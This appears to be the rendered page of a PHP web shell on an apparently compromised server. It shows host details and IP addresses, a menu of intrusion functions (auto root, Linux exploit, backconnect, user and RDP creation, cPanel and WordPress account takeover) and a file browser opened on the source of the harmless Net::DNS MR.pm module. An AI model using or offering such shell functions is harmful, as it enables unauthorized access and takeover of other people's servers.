Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib64 /
perl5 /
vendor_perl /
Net /
DNS /
RR /
[ HOME SHELL ]
Name
Size
Permission
Action
A.pm
2.22
KB
-rw-r--r--
AAAA.pm
3.22
KB
-rw-r--r--
AFSDB.pm
2.47
KB
-rw-r--r--
APL.pm
6.05
KB
-rw-r--r--
CERT.pm
4.4
KB
-rw-r--r--
CNAME.pm
2.09
KB
-rw-r--r--
DHCID.pm
4.37
KB
-rw-r--r--
DNAME.pm
1.99
KB
-rw-r--r--
EID.pm
1.15
KB
-rw-r--r--
HINFO.pm
2.28
KB
-rw-r--r--
HIP.pm
4.21
KB
-rw-r--r--
IPSECKEY.pm
6.31
KB
-rw-r--r--
ISDN.pm
2.32
KB
-rw-r--r--
KX.pm
2.79
KB
-rw-r--r--
L32.pm
3.06
KB
-rw-r--r--
L64.pm
3.1
KB
-rw-r--r--
LOC.pm
7.24
KB
-rw-r--r--
LP.pm
3.13
KB
-rw-r--r--
MB.pm
1.92
KB
-rw-r--r--
MG.pm
1.9
KB
-rw-r--r--
MINFO.pm
3.02
KB
-rw-r--r--
MR.pm
1.9
KB
-rw-r--r--
MX.pm
2.85
KB
-rw-r--r--
NAPTR.pm
4.93
KB
-rw-r--r--
NID.pm
3.18
KB
-rw-r--r--
NIMLOC.pm
1.16
KB
-rw-r--r--
NS.pm
2.04
KB
-rw-r--r--
NSAP.pm
5.38
KB
-rw-r--r--
NULL.pm
1.25
KB
-rw-r--r--
OPT.pm
8.29
KB
-rw-r--r--
PTR.pm
1.92
KB
-rw-r--r--
PX.pm
3.36
KB
-rw-r--r--
RP.pm
2.98
KB
-rw-r--r--
RT.pm
2.93
KB
-rw-r--r--
SOA.pm
6.71
KB
-rw-r--r--
SPF.pm
1.38
KB
-rw-r--r--
SRV.pm
3.32
KB
-rw-r--r--
SSHFP.pm
3.92
KB
-rw-r--r--
TKEY.pm
4.5
KB
-rw-r--r--
TLSA.pm
3.64
KB
-rw-r--r--
TSIG.pm
9.38
KB
-rw-r--r--
TXT.pm
3.16
KB
-rw-r--r--
X25.pm
1.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MR.pm
package Net::DNS::RR::MR; # # $Id: MR.pm 1096 2012-12-28 13:35:15Z willem $ # use strict; BEGIN { eval { require bytes; } } use vars qw(@ISA $VERSION); @ISA = qw(Net::DNS::RR); $VERSION = (qw$LastChangedRevision: 1096 $)[1]; # Unchanged since 1037 sub new { my ($class, $self, $data, $offset) = @_; if ($self->{"rdlength"} > 0) { ($self->{"newname"}) = Net::DNS::Packet::dn_expand($data, $offset); } return bless $self, $class; } sub new_from_string { my ($class, $self, $string) = @_; if ($string) { $self->{"newname"} = Net::DNS::stripdot($string); } return bless $self, $class; } sub rdatastr { my $self = shift; return $self->{"newname"} ? "$self->{newname}." : ''; } sub rr_rdata { my ($self, $packet, $offset) = @_; my $rdata = ""; if (exists $self->{"newname"}) { $rdata .= $packet->dn_comp($self->{"newname"}, $offset); } return $rdata; } sub _normalize_dnames { my $self=shift; $self->_normalize_ownername(); $self->{'newname'}=Net::DNS::stripdot($self->{'newname'}) if defined $self->{'newname'}; } sub _canonicalRdata { my $self=shift; my $rdata = ""; if (exists $self->{"newname"}) { $rdata .= $self->_name2wire(lc($self->{"newname"})); } return $rdata; } 1; __END__ =head1 NAME Net::DNS::RR::MR - DNS MR resource record =head1 SYNOPSIS C<use Net::DNS::RR>; =head1 DESCRIPTION Class for DNS Mail Rename (MR) resource records. =head1 METHODS =head2 newname print "newname = ", $rr->newname, "\n"; Returns the RR's new name field. =head1 COPYRIGHT Copyright (c) 1997-2002 Michael Fuhr. Portions Copyright (c) 2002-2004 Chris Reinhardt. All rights reserved. This program is free software; you may redistribute it and/or modify it under the same terms as Perl itself. =head1 SEE ALSO L<perl(1)>, L<Net::DNS>, L<Net::DNS::Resolver>, L<Net::DNS::Packet>, L<Net::DNS::Header>, L<Net::DNS::Question>, L<Net::DNS::RR>, RFC 1035 Section 3.3.8 =cut
Close